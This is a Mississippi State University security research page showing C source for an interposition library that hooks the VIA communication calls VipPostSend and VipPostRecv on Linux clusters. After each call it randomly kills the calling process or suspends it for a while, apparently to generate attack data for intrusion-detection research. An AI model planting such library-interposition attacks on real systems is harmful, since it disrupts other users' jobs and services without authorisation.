Center for Computer Security Research, Mississippi State University Attacks on High Performance Linux Clusters
Introduction
Publications
Attacks
Related Data Sets
Contact Information
Links
InterposeVIATime.c
/*****************************************************************************
InterposeVIA.c: Interposition library to capture function calls from the libvipl.so
	and attack the system by corrupting the returned values of the functions

By:
	Miguel Torres
	Computer Science, Mississippi State University
	July 2003

Based on:
	Profiling and tracind gynamic library usage via interposition (Timothy Curry)
	Generation of application level audit data via library interposition (Kuperman and
		Spafford, 1999)
	The Thesis work by German Florez at the CCSR at Mississippi State University
******************************************************************************/
#include <dlfcn.h> 
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <time.h>
#include <vipl.h>
//#include <vipl_giganet.h>
#include <sys/utsname.h>
// For Random Generation
#include "randomlib.h"

// Sets the Seeds for the random generator
#define RANDOM (double)random()/RAND_MAX
//#define RANDOM (double)random((time(NULL))%31328)/RAND_MAX

#define INIT_RANDS \
	srand(time(NULL)); \
    	RandomInitialise((int)(time(NULL)*RANDOM)%31328,(int)(time(NULL)*RANDOM)%30081);

// Probability of start an attack
#define KILLPROC_ 0.1 // from 1 to 100
#define SLEEPPROC_ 10 // from 1 to 100

// WEIBULL DISTRIBUTION PARAMETERS A>0, B>0
#define _ALPHA 1.0
#define _BETA  1.0

#define FALSE	0
#define TRUE	1

#define  VIALIBRABRY  "/usr/lib/libgnivlp.so"

static int DoProfile2=TRUE;
static int first_time=TRUE;


#ifdef  ATTACK

// Attack of VIA functions
void attackKillorSleep();

/****************MAIN FUNCTIONS**********************************************/

VIP_RETURN
VipPostSend (VIP_VI_HANDLE ViHandle, VIP_DESCRIPTOR *DescriptorPtr, VIP_MEM_HANDLE MemoryHandle){

	typedef VIP_RETURN (*function_type) (VIP_VI_HANDLE ViHandle, VIP_DESCRIPTOR *DescriptorPtr, VIP_MEM_HANDLE MemoryHandle);
	static function_type function=NULL;
	static char* function_name="VipPostSend";

	VIP_RETURN retval;

	DoProfile2=FALSE;
	#ifdef PRINT_OUTPUT
		printf("_MPI_INIT Profiling\n");
		fflush(stdout);
	#endif

	function = (function_type) dlsym(RTLD_NEXT,function_name);
	retval=((*function)(ViHandle,DescriptorPtr,MemoryHandle));

	// Attack
	if( first_time ){
		first_time = FALSE;
		// Random Generation
		INIT_RANDS
	}
	attackKillorSleep();

	DoProfile2 =TRUE;
	return retval;

}


VIP_RETURN 
	VipPostRecv (VIP_VI_HANDLE ViHandle, VIP_DESCRIPTOR * DescriptorPtr, VIP_MEM_HANDLE MemoryHandle){

	typedef VIP_RETURN (*function_type) (VIP_VI_HANDLE ViHandle, VIP_DESCRIPTOR *DescriptorPtr, VIP_MEM_HANDLE MemoryHandle);
	static function_type function=NULL;
	static char* function_name="VipPostRecv";

	VIP_RETURN retval;

	DoProfile2=FALSE;
	#ifdef PRINT_OUTPUT
		printf("_MPI_INIT Profiling\n");
		fflush(stdout);
	#endif

	function = (function_type) dlsym(RTLD_NEXT,function_name);
	retval=((*function)(ViHandle, DescriptorPtr,MemoryHandle));

	// Attack
	if( first_time ){
		first_time = FALSE;
		// Random Generation
		INIT_RANDS
	}
	attackKillorSleep();

	DoProfile2 =TRUE;
	return retval;

}

/* void attackKillorSleep() attacks a function by delaying its execution
	or by killing the process that calls it*/

void attackKillorSleep(){
	/* Store the original parent id*/
	int originalPID=getpid();
	double randNumber = RandomDouble(1.0,100.0);

	#ifdef PRINT_OUTPUT
		printf("First (kill):%d\n",randNumber);
		fflush(stdout);
	#endif
	if(randNumber<=KILLPROC_){
		/* KILL THE PARENT PROCESS */
		kill(originalPID,SIGKILL);
	}
	else{
		randNumber = RandomDouble(1,100);
		#ifdef PRINT_OUTPUT
			printf("Second (sleep): %d\n",randNumber);
			fflush(stdout);
		#endif
		if(randNumber<=SLEEPPROC_){
			/* HALTS THE PARENT PROCESS FOR A SPECIFIC AMOUNT OF TIME between 3 to 10 seconds */
			kill(originalPID,SIGSTOP);
			randNumber = RandomWeibull(_ALPHA,_BETA);
			#ifdef PRINT_OUTPUT
				printf("Time to sleep: %d\n",randNumber);
				fflush(stdout);
			#endif
			usleep ((int)randNumber*1000000);
			kill(originalPID,SIGCONT);
		}
	}
}

#endif


syntax highlighted by Code2HTML, v. 0.9.1

Questions and comments about this web site may be directed to the webmaster at rwm8@cse.msstate.edu